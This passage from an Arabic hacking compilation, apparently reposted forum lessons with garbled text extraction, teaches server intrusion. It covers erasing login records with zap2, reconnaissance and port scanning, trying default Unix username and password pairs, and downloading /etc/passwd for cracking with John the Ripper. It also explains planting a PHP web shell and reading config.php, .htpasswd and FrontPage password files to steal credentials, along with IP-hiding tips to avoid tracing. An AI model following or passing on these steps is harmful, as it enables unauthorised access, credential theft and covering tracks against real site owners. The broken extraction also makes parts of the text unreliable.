‪lled‬‬ ‫ماذا لو طبقنا المر ‪ who‬و لقينا معانا الرووت ؟؟‬ ‫‪sh-2.03$ who‬‬ ‫‪Sep 25 18:18‬‬<br /> <br /> ‫‪tty1‬‬ ‫‪696‬‬<br /> <br /> ‫‪root‬‬<br /> <br /> ‫ممكن في الحاله دي نستخد‪.‬م ‪zap2‬‬ ‫لو اسمك ‪: luser‬‬ ‫‪sh-2.03$ ./zap2 luser‬‬ ‫‪!Zap2‬‬ ‫‪sh-2.03$ who‬‬ ‫‪sh-2.03$‬‬ ‫كلمه اتخيره ‪:‬‬ ‫هذا الموضوع هو عباره عن نبذه بسيطه للمبتدئين‬ ‫يمكنهم من البدايه بدايه موفقه باذن ال ‪..‬‬ ‫اتمنى ان يحوز على رضاكم‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪697‬‬<br /> <br /> 698<br /> <br /> ‫" درس اوخر في اوختراق المواقع عن‬ ‫طريق لينكس "‬ ‫>منقول من منتدى هاكر فلسطسن<‬ ‫>الكاتب‪ :‬أبو رعد <‬ ‫اتختراق لينكس‪...‬‬ ‫و أنا كالعادة لست مسؤول عن أي تصرف غبي أو‬ ‫أحمق يقو‪.‬م به أي شخص و هذه المعلومات للعرض و‬ ‫زيادة المعرفة الشخصية‬ ‫في هذا القسم أقو‪.‬م بشر ح الخطوات الساسية للقيا‪.‬م‬ ‫بعملية اتختراق و تخريب على الشبكة فإذا كان لديك أية‬ ‫معلومات أو شرو ح تود نشرها في هذا القسم الرهجاء‬ ‫القيا‪.‬م بإرسالها لنا‬<br /> <br /> ‫الـــهـــكـــر‬ ‫نحن هنا في حاهجة إلى تخلفية بسيطة قبل الخول في‬ ‫‪699‬‬<br /> <br /> ‫التعقيدات‬ ‫إن قول اتختراق أو تخريب يعني الحصول على‬ ‫صلحيات على سيرفرات الشبكات ل يسمح لنا‬ ‫بالحصول عليها في الحوال العادية فخواد‪.‬م الشبكات‬ ‫معدة لستقبال العديد من الناس و لكل فرد منهم حساب‬ ‫على الشبكة فالنفترض أن لراشد حساب على‬ ‫الفريسرفرز‬ ‫‪ FreeServers.com‬مزود تخدمات على النترنت‬<br /> <br /> ‫الذي سيقو‪.‬م بإعطائه ‪:‬‬ ‫اسم مستخد‪.‬م و هو التعريف لمجلد راشد على الشبكة‬ ‫كلمة مرور و هي مفتاحه للدتخول إلى مجلده و قسمه‬ ‫و هذان هما السبيل للوصول إلى هجميع الخدمات‬ ‫المتاحة لراشد‬ ‫و سوف نركز على الوصول إلى اللب والصل‬ ‫‪700‬‬<br /> <br /> ‫هناك طريقتان رئيستان للدتخول إلى نظا‪.‬م الولى تتمثل‬ ‫في الحصول على تخليط من كلمة سر و اسم مستخد‪.‬م و‬ ‫هي بطيئة و نادرة وأما الطريقة الثانية فهي استغلل‬ ‫مناطق ضعف الخاد‪.‬م و التسلل من تخللها‬ ‫إن التخريب ممنوع و لنه من السهل مطاردتك إن‬ ‫إكتشاف محولتك للتختراق عن طريق الي بي أدرس‬ ‫فهو رقم تعريفك على الشبكة و الحل هو أن تقو‪.‬م‬ ‫بإعطاء بينات تخاطئة لمزود تخدمات شبكتك‬ ‫يستخد‪.‬م المخترقون أدوات لسرقة الرقم السري و اسم‬ ‫المستخم من الماكن العامة مثل مقاهي النترنت و هذا‬ ‫أحد البرامج‬ ‫قم بتغيير البروكسي و هذا هو السهل أو التسجيل‬ ‫ببيانات و همية لموقع يضمن لك التصفح بخصوصية‬ ‫و قم بتعطيل تخدمة ‪ Caller ID‬إذا كانت تعمل‬ ‫نحن الن نأتخذ الخطوة الولى لي عملية هكر ‪...‬هجمع‬ ‫المعلومات‬ ‫‪701‬‬<br /> <br /> ‫لبد أنك هجاهز الن قم بتشغيل ‪ notepade‬ونافذة‬ ‫متصفح هجديد من تخلل محطم أي بي أو أي موقع آتخر‬ ‫مثل‬ ‫‪Hakkerz.home.ml.org‬‬ ‫قم بفحص الموقع و تسجيل أي إيميل موهجود و قم‬ ‫بنسخ ‪ html‬لي صفحة مهمة‬ ‫قم بإرسال و همي لهم أقصد إيميل غير موهجود مثل‬ ‫‪@Blahblahblah‬اسم الموقع‬ ‫و ينصح بإرساله من موقع بريد مجاني واستخدا‪.‬م‬ ‫هجميع امكانياته المهم سيأتيك إيميل بسبب عد‪.‬م هجود‬ ‫البريد المرسل إليه و معه بعض المعلومات الموهجوده‬ ‫في ‪ header‬الرسالة‬ ‫أنت الن في حاهجة إلى أدوات تعقب لمعرفة بعض‬ ‫المعلومات عن المزود للخاد‪.‬م الضحية‬ ‫أول ستحتاج إلى الي بي ‪ IP‬و ثانيا تخدمة التعريف‬ ‫‪ Whois‬لتحصل عن معلومات عنه‬ ‫‪702‬‬<br /> <br /> ‫الذي سيعطيك معلومات عن مالكي الموقع و نوع‬ ‫السيرفر عليه و قم بتسجيلها‬ ‫الن عليك باستخدا‪.‬م تخاصية ‪ finger‬هجرب أول‬ ‫اسم الموقع ‪@Finger‬‬ ‫و إذا لم يقم بإعطائك معلومات التي قد تكون مفيدة‬ ‫هجرب ايميل من التي حصلنا عليها في العلى‬ ‫الن عليك القيا‪.‬م بفحص المنافذ ‪ scan ports‬للي‬ ‫بي ‪ IP‬الذي حصلنا عليه لكي تعرف المنافذ المفتوحة‬ ‫و الخدمات التي يدعمها الموقع و هناك برامج هجيدة‬ ‫لذلك و معظمها لنظمة ‪Linux /Unix systems‬‬<br /> <br /> ‫و هذا البرنامج ‪ Exploit Generator‬تخاص‬ ‫بأنظمة ويندوز على الشبكات‬ ‫و إن كنت ستخترق موقع شديد الحراسة فدعنا ننسى‬ ‫تفحص المنافذ لمدة لن هذا العمل غير شرعي و قد‬ ‫‪703‬‬<br /> <br /> ‫يتم الكشف عنه إل إذا ما كنت تمتلك نظا‪.‬م ‪ linux‬ما‬ ‫يهمنا من ذلك أنه إذا كان المنفذ ‪ 21‬مفتوحا فيعني‬ ‫ذلك أنهم يدعمون ‪ FTP‬و إن كان ‪ 23‬فذلك أنهم‬ ‫يملكون ‪TelNet‬‬ ‫‪ Telnet‬الهدف من ذلك هو معرفة نوع السيرفر و‬ ‫أنت في وضع ‪ Anonymous‬في متصفحك و على‬ ‫العمو‪.‬م للقيا‪.‬م بكل تلك المور سالفة الذكر ستجد ما‬ ‫تحتاهجه في الموقع التالي حتى ل تتعب في البحث‬ ‫‪ hakkerz.home.ml.org‬المهم فلنتابع حديثنا‬ ‫قم بفتح نافذة ‪ telnet‬و غير المنفذ إلى ‪ 23‬و إذا كان‬ ‫الموقع يبدأ ب ‪ www‬فجرب ذلك بدونها فإن لم يقم‬ ‫بإعطائك بينات فجرب إضافة‬ ‫‪ telnet.Victim.com‬كلمة ‪ telnet‬كما ترى‬ ‫مكان ‪ www‬و إذا لم ينجح هجرب أي من مواقع‬ ‫السرفرات التي حصلنا عليها من ‪ whois‬و بمجرد‬ ‫نجاحك في الدتخول قم بتسجيل أية بيانات تحتاهجها و‬ ‫بالتحديد نوع السيرفر‬ ‫الن قم بتغيير المنفذ إلى ‪ 21‬و الن سيأتخذك إلى منفذ‬ ‫ال ‪ ftp‬فإن حصل ذلك هجرب كتابة‬ ‫‪704‬‬<br /> <br /> ‫‪ SYST‬لتعرف نوع السيرفر الن إذا كنت محظوظا‬ ‫هجرب المنفذ ‪ 80‬الذي يعد منفذ ال ‪ http‬وسجل أي‬ ‫بينات و أهمها على الطلق نوع السيرفر فإذا لم تنجح‬ ‫بعد ذلك كله هجرب برنامج يدعى ‪Whats‬‬ ‫‪ ?Running‬و قد يعمل و لكن سيرفر الضحية‬ ‫سيسجل ذلك‬ ‫و كما ذكرت في البداية هناك طريقتان استخدا‪.‬م‬ ‫البرامج أو ايجاد الباسوورد و لنجرب الن الباسوورد‬ ‫الذي ستحصل عليه باستخدا‪.‬م‬ ‫‪Login: root$‬‬ ‫‪Password: root$‬‬ ‫فلنقم بتجربة هذا أول حيث أن برامج ‪ linux‬تأتي‬ ‫محملة بعدد من الباسوورد الجاهزة و هي غالبا تبقى‬ ‫كما هي لذلك عليك القيا‪.‬م باتصال باستخدا‪.‬م ‪ telnet‬و‬ ‫الذي هو من الموقع سالف الذكر و ل تستخد‪.‬م البرنامج‬ ‫العادي الموهجود على هجهازك وقم بتجربة الباسوورد و‬ ‫اسماء المستخدمين التالية‬ ‫‪ACCOUNT: PASSWORD‬‬ ‫‪705‬‬<br /> <br /> login) root: (password) root) sys: sys / system / bin bin: sys / bin mountfsys: mountfsys adm: adm uucp: uucp nuucp: anon anon: anon user: user games: games install: install demo: demo umountfsys: umountfsys sync: sync admin: admin guest: guest daemon: daemon ‫و إذا لم تصلح فإن هناك العديد من الناس الغبياء‬ ‫الذين يستخدمون أسماء الدتخول كباسوورد قم بتجربة‬ ‫م و‬.‫الشق الول من البريد اللكتروني كإسم مستخد‬ ‫كذلك كباسوورد أو من البيانات التي حصلت عليها من‬ 706<br /> <br /> ‫‪ whois‬و أن كنت تعيس الحظ إلى الن قم بالتجربة‬ ‫التالية على افتراض أنك تحاول الدتخول إلى نظا‪.‬م‬ ‫‪ unix‬فإنك لربما تتساءل كيف يتعرف النظا‪.‬م إلى‬ ‫الباسوورد و الجواب أن هناك ملف يدعى ‪passwd‬‬ ‫لذلك علينا المحاولة للوصول إليه و إحدى الطرق‬ ‫القديمة هي استخدا‪.‬م ال ‪ ftp‬و الذي سندتخل إليه‬ ‫باستخدا‪.‬م نافذة المتصفح و في نظري ‪internet‬‬ ‫‪ explorer‬ينفع في هذه الحالة و لكن عليك أن تكون‬ ‫غير معرف لهم و كما فتحنا النافذة سابقا باستخدا‪.‬م ‪IP‬‬ ‫‪ jammer‬الموهجود في موقع‬ ‫‪ .hakkerz.home.ml.org‬سنعيد الكرة ثانية بل‬ ‫إن عملنا السابق و القاد‪.‬م يعتمد على اتخفاء الي بي و‬ ‫قم بالتجربة عن طريق الشكل التالي مثل‬ ‫‪ ftp:// abc.net‬أو ‪ /ftp://ftp.abc.net‬و إن لم‬ ‫يعمل أي منها قم بتجربة أي مواقع ‪ ftp‬كانت موهجودة‬ ‫في البيانات المعطاة من ‪ whois‬فالنفترض أنك‬ ‫نجحت في الدتخول اضغط على مجلد \‪ etc‬و الن ستر‬ ‫ملف ‪ passwd‬قم بتنزيله على هجهازك وقم بفتحه و‬ ‫إن كان على الشكل التالي فأنت محظوظ‬ ‫‪root:2fkbNba29uWys:0:1:Operator:/:‬‬ ‫‪707‬‬<br /> <br /> /bin/csh admin:rYsKMjnvRppro:100:11:WW W administrator:/home/Common/WW W:/bin/csh kangaroo:3A62i9qr:1012:10:Hisahar u [.etc] ‫ و‬kangaroo ‫م و هو‬.‫و هنا ترى اسم المستخد‬ ‫ أو‬3a62i9qr ‫تشفير الباسوورد وليس هي هو‬ ‫سيكون المنظر فوق أشبه بالتالي‬ root:*:0:1:Operator:/:/bin/csh admin:*:100:11:WWW administrator:/home/Common/WW W:/bin/csh kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/ local/bin/tcsh 708<br /> <br /> ‫و هنا كما تشاهد فإن الباسوورد المشفرة استعيض‬ ‫عنها بباسوورد يصعب فك تشفيرها و هو‬ ‫*’‪ s‬أو ‪ ?x’s‬و إن حصلت على النوع في العلى فإن‬ ‫هناك برامج مخصصة لملفات الباسوورد ليونكس و‬ ‫فك تشريرها مثل ‪ John the Ripper 1.5‬و الذي‬ ‫يحتاج إلى ملفات كلمات كثيرة‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪709‬‬<br /> <br /> 710<br /> <br /> ‫" درس عن الـ ‪) PHP Shell‬الجزء‬ ‫الول( "‬ ‫>منقول من موقع ‪< pharaonics‬‬ ‫>الكاتب‪> Arab VieruZ:‬‬ ‫موضوع للبي اتش بي شل يشر ح الطرق والخداع‬ ‫المستخدمة و اوامر لينكس‬ ‫السل‪.‬م عليكم‪...‬‬ ‫البي اتش بي شيل ملف يرعب كل صاحب موقع على‬ ‫سيرفر وحله اسهل مما يمكن‬ ‫ل فسمحولي ‪(:‬‬ ‫الموضوع بسيط هجد ًا لكن سأطوله قلي ً‬ ‫او ًل ‪:‬‬ ‫راهجع الوصلة التالية‬<br /> <br /> ‫ثاني ًا ‪:‬‬ ‫الن وبعد قراءتك الموضوع كامل اتوقع منك معرفة‬ ‫‪711‬‬<br /> <br /> ‫ما هو الـ ‪PHP Shell‬‬ ‫*‪*-----------------------------------------------‬‬ ‫الجزء الول ‪:‬‬ ‫اوامر لينكس‬ ‫*‪*-----------------------------------------------‬‬ ‫امر سرد الملفات ‪ls -a :‬‬ ‫سرد هجميع الملفات المخفية او غيرها‬ ‫*‪*-----------------------------------------------‬‬ ‫امر عرض محتويات الملف ‪ cat -e :‬او ‪cat‬‬ ‫فتح الملف وعرض محتوياته‬ ‫*‪*-----------------------------------------------‬‬ ‫‪712‬‬<br /> <br /> ‫امر حذف الملف ‪rm -f :‬‬ ‫لحذف الملف الذي تريد‬ ‫*‪*-----------------------------------------------‬‬ ‫امر حذف المجلد ‪rm -d :‬‬ ‫لحذف المجلد الذي تريد‬ ‫*‪*-----------------------------------------------‬‬ ‫امر النسخ ‪cp -i :‬‬ ‫لنسخ الملف الذي تريد‬ ‫*‪*-----------------------------------------------‬‬ ‫امر اعادة التسمية ‪mv :‬‬ ‫لعادة التسمية‬ ‫‪713‬‬<br /> <br /> ‫*‪*-----------------------------------------------‬‬ ‫ملحظة ‪ :‬لمعرف المزيد من اوامر لينكس قم بشراء‬ ‫الكتب وللحصول على‬ ‫معلومات اكثر لمر من الوامر كم بوضع المر ثم ‪--‬‬ ‫‪help‬‬ ‫مثال ‪ls --help :‬‬ ‫*‪*-----------------------------------------------‬‬ ‫*‪*-----------------------------------------------‬‬ ‫*‪*-----------------------------------------------‬‬ ‫الجزء الثاني ‪:‬‬ ‫كيفية تنفيذ الوامر ‪:‬‬ ‫*‪*-----------------------------------------------‬‬<br /> <br /> ‫‪714‬‬<br /> <br /> ‫‪ -1‬ستجد مربع للكتابة قم بكتابة المر المراد تنفيذه‬ ‫‪715‬‬<br /> <br /> ‫‪ -2‬هنا تعرض الملفات والمجلدات‬ ‫‪ -3‬هنا تعرض المجلدات فقط‬ ‫‪ -4‬مكان الفلودر الذي تعمل عليه الن‬ ‫‪ -5‬ضع العلمة ليخبرك ما يحدث عند وهجود تخطأ‬ ‫*‪*-----------------------------------------------‬‬ ‫*‪*-----------------------------------------------‬‬ ‫الجزء الثالث ‪:‬‬ ‫الخدع والطرق لتحميل هذا الملف ‪:‬‬ ‫*‪*-----------------------------------------------‬‬ ‫هنا تأتي المشكله !!!‬ ‫لكن ليست مستحيله وسنستعرض بعض الطرق التي‬ ‫اتبعها انا شخصي ًا‬ ‫‪716‬‬<br /> <br /> ‫‪ -1‬ايجاد ثغرة تستطيع منها تحميل الملف‬ ‫مثال ‪ :‬ثغرة النوك القديمة حقت الـ ‪hacked.txt‬‬ ‫*‪*-----------------------------------------------‬‬ ‫‪ -2‬لنفرض اننا نريد اتختراق موقع معين وكان صاحب‬ ‫الموقع ذكي هجد ًا وحريص‬ ‫هذي طريقه قد تنفع او ًل تحديد الشركة المستضيفة و‬ ‫نحاول البحث عن مواقع‬ ‫في نفس السيرفر او على القل في نفس شركة‬ ‫الستضافة يكون صاحبها دلخ‬ ‫ونحاول نلقى ثغرة نحمل منها الملف‬ ‫*‪*-----------------------------------------------‬‬ ‫‪ -3‬المواقع المجانية التي تدعم البي اتش بي‪.‬‬ ‫انتهى‪،،،‬‬ ‫‪717‬‬<br /> <br /> ‫" درس عن الـ ‪) PHP Shell‬الجزء‬ ‫الثابني( "‬ ‫‪718‬‬<br /> <br /> ‫>منقول من موقع ‪< pharaonics‬‬ ‫>الكاتب‪> Arab VieruZ:‬‬<br /> <br /> ‫نتابع الموضوع مباشره‬<br /> <br /> ‫*‪*-----------------------------------------------‬‬ ‫*‪*-----------------------------------------------‬‬ ‫الجزء الرابع ‪:‬‬ ‫طرق الحصول على الباسورد‪:‬‬ ‫*‪*-----------------------------------------------‬‬ ‫هذا الجزء سيأتخذ موضوع الـ ‪PHP Shell 2‬‬ ‫طرق الحصول على الباسورد هي من اصعب الطرق‬ ‫التي قد تواهجه المخترق ‪.‬‬ ‫‪719‬‬<br /> <br /> ‫*‪*-----------------------------------------------‬‬ ‫‪ -1‬اتخذ الباس من ملفات اكسس الـ ‪ My SQL‬التي‬ ‫تسمى بالعادة ‪config.php‬‬ ‫ويمكن اتخذ الباس عن طريق تنفيذ المر التالي في الـ‬ ‫‪PHP Shell‬‬ ‫الذهاب الى المجلد الذي يوهجد فيه هذا الملف وكتابة‬ ‫المر التالي‬ ‫‪cat config.php‬‬ ‫وسيظهر الباسورد في احد المتغيرات‬ ‫*‪*-----------------------------------------------‬‬ ‫‪ -2‬اتخذ الباس المشفر من ملف الـ ‪htpasswed.‬‬ ‫ويمكن اهجاد هذا الملف في احد مجلدات السيرفر واذا‬ ‫لم تجده قم بفتح‬ ‫‪720‬‬<br /> <br /> ‫الـ ‪ htaccess.‬حتى تجد مكان الملف السابق‬ ‫مثال ‪:‬‬ ‫‪home/site/.htpasswds/forum/admin/‬‬ ‫‪/passwd‬‬ ‫المر ‪cat :‬‬ ‫‪/home/site/.htpasswds/forum/admin/‬‬ ‫‪passwd‬‬ ‫ستجد الباس المشفر بتشفير ‪ DES‬يعني تقدر تفكه‬ ‫بجون ذا رايبر‬ ‫‪user:nymw4oS3oerdY‬‬ ‫*‪*-----------------------------------------------‬‬ ‫‪ -3‬طريقة الكستينشون سيرفر او‬ ‫‪: service.pwd‬‬ ‫وهو تابع للفرونت بيج ويوهجد به الباسورد الخاص‬ ‫بالفرونت بيج مشفر ‪DES‬‬ ‫‪721‬‬<br /> <br /> ‫ويوهجد داتخل مجلد ‪:‬‬ ‫_‪vti_pvt‬‬ ‫المر ‪cat :‬‬ ‫‪/home/site/www/_vti_pvt/service.pw‬‬ ‫‪d‬‬ ‫رابط ‪ :‬راهجع درس ‪ DeXXa‬الخاص بهذا القسم‬ ‫‪user:nymw4oS3oerdY‬‬ ‫*‪*-----------------------------------------------‬‬ ‫‪ -4‬ل يمكن اعتبارها كقسم لكن كملحظة ال وهي ‪:‬‬ ‫ان بعض المواقع تتحد في سكربتات مثل الـ‬ ‫‪phpMyAdmin‬‬ ‫ويكون لكن موقع اكسس تخاص لدتخول هذا السكربت‬ ‫ويكون بملف الـ ‪ config.php‬يكون الروت للقاعدة‬ ‫‪722‬‬<br /> <br /> ‫يعني يمكن تعدل وتمسح اي قاعدة لي موقع كان !!‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪723‬‬<br /> <br /> ‫" درس عن الـ ‪) PHP Shell‬الجزء‬ ‫الثالث( "‬ ‫>منقول من موقع ‪< pharaonics‬‬ ‫>الكاتب‪> Arab VieruZ:‬‬ ‫الجزء الخامس و التخير من هذا الدرس‬ ‫بما انك الن عرفت معظم الشياء لكن لبد من وهجود‬ ‫مشاكل سأذكر الذي اصابني‬ ‫*‪*-----------------------------------‬‬ ‫‪ -1‬مشكلة عرض المواقع التخرى ‪:‬‬ ‫هجميع المواقع الموهجودة في السيرفر في ‪:‬‬ ‫‪home/‬‬ ‫المر ‪ :‬قم بالذهاب الى مجلد الروت ‪/‬‬ ‫‪ls -a /home‬‬ ‫‪724‬‬<br /> <br /> ‫ستجد مجلدات كل مجلد يحوي ملفات موقع ما لعرضه‬ ‫‪ls -a /home/SITE‬‬ ‫‪ = SITE‬اسم الموقع او المجلد‬ ‫*‪*-----------------------------------‬‬ ‫‪ -2‬مشكلة عرض ملفات الموقع ‪:‬‬ ‫بعض السيرفرات ل تسمح بدتخول ‪ home‬الموقع ال‬ ‫اذا كنت انت روت او صاحب الموقع‬ ‫الحل ‪:‬‬ ‫قم بدتخول ‪:‬‬ ‫‪/home/site/public_html‬‬ ‫او‬ ‫‪725‬‬<br /> <br /> ‫‪/home/site/www‬‬ ‫لدتخول الى ملفات الموقع التي تعرض‬ ‫*‪*-----------------------------------‬‬ ‫‪ -3‬بعض الوامر ل تعمل‬ ‫هذه مشكله من الصعب حلها ويجب استعمال باك دور‬ ‫تخاص بكرنل السيرفر‬ ‫اقصد اصدار الكرنل‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪726‬‬<br /> <br /> 727<br /> <br /> ‫" شرح أدا ة ‪" anmap‬‬ ‫>منقول<‬ ‫>مترهجم بواسطة‪ :‬الهكر الخجول<‬ ‫السم ‪:‬‬ ‫‪ - nmap‬أداة كشف عن الشبكات و ماسح أمني‬ ‫الخلصة ‪:‬‬ ‫أنواع المسح ‪ -‬الخيارات‬ ‫الوصف ‪:‬‬<br /> <br /> ‫‪728‬‬<br /> <br /> ‫صمم هذا البرنامج لكي يسمح لمدراء النظا‪.‬م و الفراد‬ ‫بمسح شبكات كبيرة‬ ‫لتقرير و معرفة المضيفين وماذا يقدمون من تخدمات ‪.‬‬ ‫وتدعم النماب‬ ‫عدد كبير من تقنيات المسح مثل ‪:‬‬ ‫‪UDP‬‬ ‫‪()TCP connect‬‬ ‫‪(TCP SYN (half open‬‬ ‫‪(ftp proxy (bounceattack‬‬ ‫‪Reverse-ident‬‬ ‫‪(ICMP (ping sweep‬‬ ‫‪FIN‬‬ ‫‪ACK sweep‬‬ ‫‪Xmas Tree‬‬ ‫‪SYN sweep‬‬ ‫‪.and Null scan‬‬ ‫النماب تقد‪.‬م أيض ًا عدد من المميزات المتقدمة ‪ ..‬مثل‪:‬‬ ‫‪remote OS detection via TCP/IP‬‬ ‫‪fingerprinting‬‬ ‫‪729‬‬<br /> <br /> stealth scanning dynamic delay and retransmission calculations parallel scanning detection of down hosts via parallel pings decoy scanning port filtering detection direct (non-portmapper) RPC scanning fragmentation scanning flexible target and port specification ‫نتائج النماب عادة ًا ماتكون على هيئة قائمة بالبورتات‬ ‫المهمه التي توهجد‬ ‫ والنماب‬. ‫في اللة التي أهجريت عليها عملية المسح‬ ‫دائم ًا يعطينا البورتات وإسم الخدمة والعدد والحالة‬ ‫والبروتوكول‬ ‫الحاله إما أن تكون مفتوحة او مرشحة أو غير‬ ‫مرشحة‬ 730<br /> <br /> ‫مفتوحة تعني أن اللة سوف تقبل أي إتصال بهذا‬ ‫البورت‬ ‫المرشحة تعني أن هناك فايروول أو فلتر )مرشح( أو‬ ‫أي عقبة أتخرى تغطي هذا البورت وتمنع النماب من‬ ‫معرفة حالة البورت إذا كان مفتوح ًا أو ل‬ ‫غير مرشح تعني بأن هذا البورت معروف لدى النماب‬ ‫بأنه مغلق‬ ‫ول يبدو أن أي فايروول أو فلتر )مرشح( تدتخل في‬ ‫محاولة النماب‬ ‫والبورتات غير المرشحة هي أغلب الحالت ول يمكن‬ ‫معرفتهم إل في حالة واحدة ‪ ،‬هي أن يكون معظم‬ ‫البورتات‬ ‫التي أهجريت لهم عملة المسح في حالة ترشيح‬ ‫وبالعتماد على الخيارات المستخدمه في النماب‬ ‫فيمكن أن يبلغ عن الحالت المميزة التالية في الريموت‬ ‫هوست ‪:‬‬ ‫النظا‪.‬م المستخد‪.‬م‬ ‫‪731‬‬<br /> <br /> ‫‪TCP sequencability‬‬ ‫أسماء المستخدمين الذين يشغلون البرامج المرتبطة‬ ‫بكل بورت‬ ‫أسماء الدي إن إس‬ ‫وبعض الشياء التخرى‪.‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫‪732‬‬<br /> <br /> ‫" طريقة لقتحا م السيرفرات بدون‬ ‫اثغرات "‬ ‫>منقول من منتديات شبكة الحزم السلمية<‬ ‫>الكاتب‪<network access :‬‬ ‫استخدا‪.‬م الثغرات انا بصراحه ماشوف فيه اي فن ول‬ ‫علم بصراحه انت تستخد‪.‬م شي هجاهز وهذي وهجه‬ ‫نظري يعني ماتحس انك تسوي شي متعب ياتخذ منك‬ ‫‪733‬‬<br /> <br /> ‫هجهد ووقت‬ ‫لكن في طرق كثيره هجدا غير استخدا‪.‬م الثغرات ويمكن‬ ‫كل واحد له طريقته واسلوبه حتى في استغلل الثغرات‬ ‫لكن بما انك انسان يفترض انك هاكر وتشوف نفسك‬ ‫متمكن اعتقد مسئله اقتحا‪.‬م سيرفر او موقع مارا ح‬ ‫تربطها بوقت وزمان يعني ممكن الواحد يجلس يحاول‬ ‫لمده شهر شهرين ثلثه وكل مره يفشل الين يقدر‬ ‫يوصل في التخير لنتيجه وعلى الساس هذا انا كتبت‬ ‫الموضوع هذا الي انشال اتمنى انه يكون مفيد وينفعنا‬ ‫ال فيه‬ ‫مارا ح نتكلم عن المشاركه) احس اني ازعجتكم‬ ‫بمواضيع المشاركه (‬ ‫فيه طرق معروفه تمكنك من الدتخول ولو بنسبه ‪%50‬‬ ‫على اغلب السيرفرات الموهجوده بالعالم لحظ ‪%50‬‬ ‫اول الجهمات الولى دائمايكون الغرض منها تكوين‬ ‫معلومات عامه عن السيرفر الذي يراد مهاهجمتته ومن‬ ‫هنا نبدا الهجو‪.‬م وعلى اي اساس يتركز الهجو‪.‬م‬ ‫احيانا يكون هجو‪.‬م حرمان تخدمه واحيانا هجو‪.‬م اقتحا‪.‬م‬ ‫كامل حسب الموهجود والمتوفر والمعلومات الموهجوده‬ ‫لدينا‬ ‫‪734‬‬<br /> <br /> ‫طيب لنفرض اننا ودنا نخش على شركه معينه باسم‬ ‫‪ aswind.COM‬الخطوه الولى هي التعرف على‬ ‫مدى عنوان ‪ ip‬الخاصه بهذه الشركه وهذا سهل‬ ‫اول شي انصح بالتسجيل في موقع‬ ‫‪INTERNIC.NET‬‬ ‫حتى يعطونك تخدمات تستاهل‬ ‫هناك طريقتين لمعرفه الي بي اول‬ ‫عن طريق الموقع ‪INTERNIC.NET‬‬ ‫والثانيه عن طريق برنامج الدوس بالمر ‪:‬‬ ‫‪NSLOOKUP‬‬ ‫‪SET TYPE = ALL‬‬ ‫‪aswind.COM‬‬ ‫را ح تطلعلك المعلومات هذي بالضبط ‪:‬‬ ‫‪Domain Name: ASWIND.COM‬‬ ‫‪.Registrar: ONLINENIC, INC‬‬ ‫‪Whois Server: whois.OnlineNIC.com‬‬ ‫‪Referral URL:‬‬ ‫‪/http://www.onlinenic.com‬‬ ‫‪Name Server: DNS.ASWIND.COM‬‬ ‫‪735‬‬<br /> <br /> ‫‪Name Server: NS1.ASWIND.COM‬‬ ‫‪Updated Date: 01-apr-2002‬‬ ‫معنا الكل‪.‬م هذا ان شركه ‪ aswind.com‬وضعت‬ ‫ارقا‪.‬م الملقامات الخاصه ب ‪DNS = 2‬‬ ‫يعني عدد ‪ 2‬تخاد‪.‬م ‪ DNS‬وسوت لها نشر يعني هناك‬ ‫على القل سيرفرين شغالين بخدمه ‪ DNS‬يعني هم‬ ‫يتعتقدون ان الموضوع مارا ح ياتخذ كثير من طاقه‬ ‫التشغيل للهجهزه تخاصه ‪DNS‬‬ ‫هنا في مجال للدتخول وتعديل بيانات ‪ DNS‬بمعنى ان‬ ‫العمليه تصير واسعه شوي‬ ‫فقط قم بنشر عنوانين من عنواوين ‪ Ip‬فقط مثل‬ ‫ماسوو ‪ aswind.com‬لكن لنفترض انه فيه اكثر‬ ‫من عنوان لنفول ‪ 6‬مثل ‪.‬‬ ‫عشان كذا اقتر ح على الشركات وضع عنواونين ‪IP‬‬ ‫للنشر ووضع تخواد‪.‬م ‪ DNS‬على اهجهزه قديمه وبطيئه‬ ‫لنك اساسا في حاهجه ل ‪ DNS‬دايناميكي وهذا يعني‬ ‫انك تقو‪.‬م بتشغيل ‪ WIN2K‬وتخدمه ‪ DNS‬على هجهاز‬ ‫واحد وهذي من الفكار الجيده في نظري اذا وضعت‬ ‫هجهاز تخاص فقط بال ‪DNS‬‬ ‫‪736‬‬<br /> <br /> ‫طيب لنفرض انك مالقيت شي على اهجهزه ‪ DNS‬وبما‬ ‫انك في بدايه هجو‪.‬م هذا يعني انه عندك متسع من‬ ‫الوقت اذن قم بتجريب هجميع العناوين المتوفره لديك‬ ‫والتي حصلت عليها من ‪ HowIS‬وصدقوني فيه‬ ‫ادوات موهجوده بالنت مممكن انها تمسح مجموعه ‪IP‬‬ ‫موهجوده في شبكه معينه‬ ‫طيب قم بعمل ملف اسمه ‪ LMHOSTS‬يوهجود فيه‬ ‫اسم ‪ NetBios‬لكل عنوان ‪ IP‬استطعت انك تحصل‬ ‫عليه‬ ‫يعني انت عرفت ان الشبكه من كلس ‪ C‬وعنوانها‬ ‫‪ 200.200.200.0‬سو لك ملف ‪LMHOSTS‬‬ ‫باسم ‪ NetBios‬وملف باسم = ‪N2‬‬ ‫‪ 200.200.200.2‬وهكذا بعدين تحتاج عمل ‪Net‬‬ ‫‪ view //servername‬لكل اسم من ‪ N1‬إلى‬ ‫‪ N254‬يعني كانك تسوي سكان بورت بس بطريقه‬ ‫ثانيه‬ ‫من هجهاز رقم ‪ 1‬إلى هجهاز رقم ‪254‬‬ ‫وبالنسبه للهجهزه الصحيحه سوف تشتغل الخدمه فيها‬ ‫ا‪.‬م العناوين الغير متصله فلن تستجيب طبع ًا‬ ‫طيب انت ال الن ماتقدر تسوي شي \‬ ‫‪737‬‬<br /> <br /> ‫بس تقدر تتاكد من حساب ‪Administrator‬‬ ‫موهجود وال ل او تم تغييره او اذا هناك يوزر نيم‬ ‫بنفس الصلحيات انت بطبيعه الحال ماتقدر تحصل‬ ‫عليه بسهوله‬ ‫اذن هناك ابواب تخلفيه للحصول عليه من بعض الطرق‬ ‫الوصول لبعض اسماء المستخدمين الموهجودين في‬ ‫الشركه وهذا يعتبر عيب من عيون ‪Windwos‬‬ ‫لنها تطنشهم ههههههههه مدري ليش‬ ‫فيه امر تقدر تعرف من تخلله بس أل الن انت ماتقدر‬ ‫تسويه لنه مالك حق وصول مباشر يعني انت 